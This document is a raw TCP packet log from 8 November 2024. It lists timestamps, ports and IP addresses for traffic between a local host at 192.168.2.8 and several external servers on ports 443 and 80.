Nov 8, 2024 15:21:05.156985044 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:05.172154903 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.172184944 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.172523022 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.172909021 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.172946930 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.173172951 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.173182964 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.173183918 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.173405886 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.173418999 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.196214914 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:05.196247101 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:05.196325064 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:05.196636915 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:05.196645021 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:05.207195044 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.207216024 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.207328081 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.210433960 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.210454941 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.248276949 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:05.248306990 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:05.248440027 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:05.248856068 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:05.248872042 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:05.507211924 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:05.507335901 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:05.574043036 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:05.574059963 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:05.574872971 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:05.576342106 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:05.576342106 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:05.576375961 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:05.781095028 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.781661987 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.781677008 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.781761885 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.781929970 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.781949043 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.782761097 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.782836914 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.782856941 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.782906055 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.784106970 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.784181118 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.785082102 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.785171032 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.785250902 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.785262108 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.785270929 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.785279989 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.849004984 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.850394011 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.850406885 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.851401091 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.851511955 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.852680922 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.852746010 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.852921009 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.852929115 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.869741917 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.884799957 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.915293932 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.915301085 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.915417910 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.915426970 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.915476084 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.915478945 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.915764093 CET	49755	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.915777922 CET	443	49755	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.916218042 CET	49754	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:05.916239977 CET	443	49754	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:05.973861933 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.981367111 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.981427908 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:05.981549025 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.982173920 CET	49757	443	192.168.2.8	172.64.41.3
Nov 8, 2024 15:21:05.982192039 CET	443	49757	172.64.41.3	192.168.2.8
Nov 8, 2024 15:21:06.017262936 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.017294884 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.017370939 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.017369986 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.017417908 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.017441034 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.038556099 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.038556099 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.038801908 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.038837910 CET	443	49750	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.038888931 CET	49750	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.050637960 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.091106892 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:06.125080109 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.125097036 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.125617981 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.125636101 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.125673056 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.126070023 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:06.126077890 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:06.126805067 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.126876116 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.126882076 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.126920938 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.127059937 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:06.127116919 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:06.127928972 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.131181955 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.131278992 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.134032965 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:06.134093046 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:06.139440060 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.139446020 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.190721035 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.262799025 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:06.262835026 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:06.384996891 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.385039091 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.385130882 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.385149956 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.389127970 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.391630888 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.391655922 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.397609949 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.397733927 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.397739887 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.406497955 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.411639929 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.411647081 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.465929031 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:06.485214949 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.485227108 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.502140045 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.502228975 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.502245903 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.506122112 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.506167889 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.506227970 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.506242037 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.506282091 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.514597893 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.524154902 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.524197102 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.524205923 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.529947042 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:06.530822039 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:06.534826040 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:06.534856081 CET	443	49772	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:06.534917116 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:06.536516905 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:06.536549091 CET	443	49773	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:06.536603928 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:06.539901972 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:06.539916992 CET	443	49772	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:06.553694010 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:06.553705931 CET	443	49773	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:06.577179909 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.577230930 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.577249050 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.620009899 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.620315075 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.620336056 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.625261068 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.625300884 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.625309944 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.625329971 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.625368118 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.625372887 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.634547949 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.634699106 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.634707928 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.643699884 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.643755913 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.643780947 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.691772938 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.694116116 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.736387968 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.736428022 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.736470938 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.736476898 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.736510038 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.739324093 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.741697073 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.741760969 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.741770029 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.752048969 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.752182007 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.752188921 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.760592937 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.760643959 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.760660887 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.811254025 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.811305046 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.811336994 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.845940113 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.845978975 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.846055031 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.846884966 CET	49774	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:06.846896887 CET	443	49774	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:06.855457067 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.855499029 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.855509043 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.857244968 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.859435081 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.859477043 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.859481096 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.859493017 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.859512091 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.868724108 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.868833065 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.868843079 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.874680042 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.874718904 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.874732018 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.928159952 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.928220987 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.928225040 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.928250074 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.928312063 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.971067905 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.973618031 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.975661039 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.975684881 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.976980925 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.979239941 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.979273081 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.985552073 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.985603094 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.985616922 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.993951082 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:06.995632887 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:06.995656967 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.011964083 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:07.017003059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:07.045252085 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.045303106 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.045433044 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.045459032 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.045542002 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.087852955 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.091252089 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.091299057 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.091309071 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.091331005 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.091368914 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.093147993 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.100918055 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.100964069 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.100969076 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.100992918 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.101171970 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.102714062 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.109122038 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.109224081 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.109249115 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.165816069 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.165862083 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.168498993 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.168517113 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.168567896 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.171745062 CET	443	49773	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.171979904 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.171998978 CET	443	49773	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.172329903 CET	443	49773	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.172753096 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.172816992 CET	443	49773	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.185759068 CET	443	49772	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.185966015 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.185975075 CET	443	49772	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.186327934 CET	443	49772	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.186894894 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.186973095 CET	443	49772	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.208328962 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.211365938 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.211404085 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.211410046 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.211425066 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.211460114 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.220309973 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.223809004 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.223865032 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.223890066 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.225430012 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.225467920 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.225491047 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.270071983 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.271619081 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.271653891 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.271702051 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.271727085 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.271764040 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.283210993 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.325340986 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.325387955 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.325402975 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.325409889 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.325443983 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.327841997 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.327971935 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.327992916 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.328023911 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.328030109 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.328068018 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.328321934 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.328362942 CET	443	49756	172.217.16.129	192.168.2.8
Nov 8, 2024 15:21:07.328406096 CET	49756	443	192.168.2.8	172.217.16.129
Nov 8, 2024 15:21:07.380027056 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.428802967 CET	49778	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.428838015 CET	443	49778	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.429748058 CET	49777	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.429800034 CET	443	49777	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.429873943 CET	49778	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.429904938 CET	49777	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.430160046 CET	49778	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.430167913 CET	443	49778	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.430836916 CET	49777	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.430851936 CET	443	49777	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.438595057 CET	49778	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.438776016 CET	49777	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.439320087 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.439342022 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.439416885 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.439637899 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.439675093 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.439723015 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.440203905 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.440269947 CET	443	49773	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.440319061 CET	49773	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.440505028 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.440584898 CET	443	49772	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.440639973 CET	49772	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.441910028 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:07.441962957 CET	443	49764	18.244.18.38	192.168.2.8
Nov 8, 2024 15:21:07.442012072 CET	49764	443	192.168.2.8	18.244.18.38
Nov 8, 2024 15:21:07.443614006 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.443624020 CET	49780	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:07.443640947 CET	443	49780	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.443651915 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.483325958 CET	443	49778	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.483338118 CET	443	49777	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:07.790719986 CET	80	49753	185.215.113.206	192.168.2.8
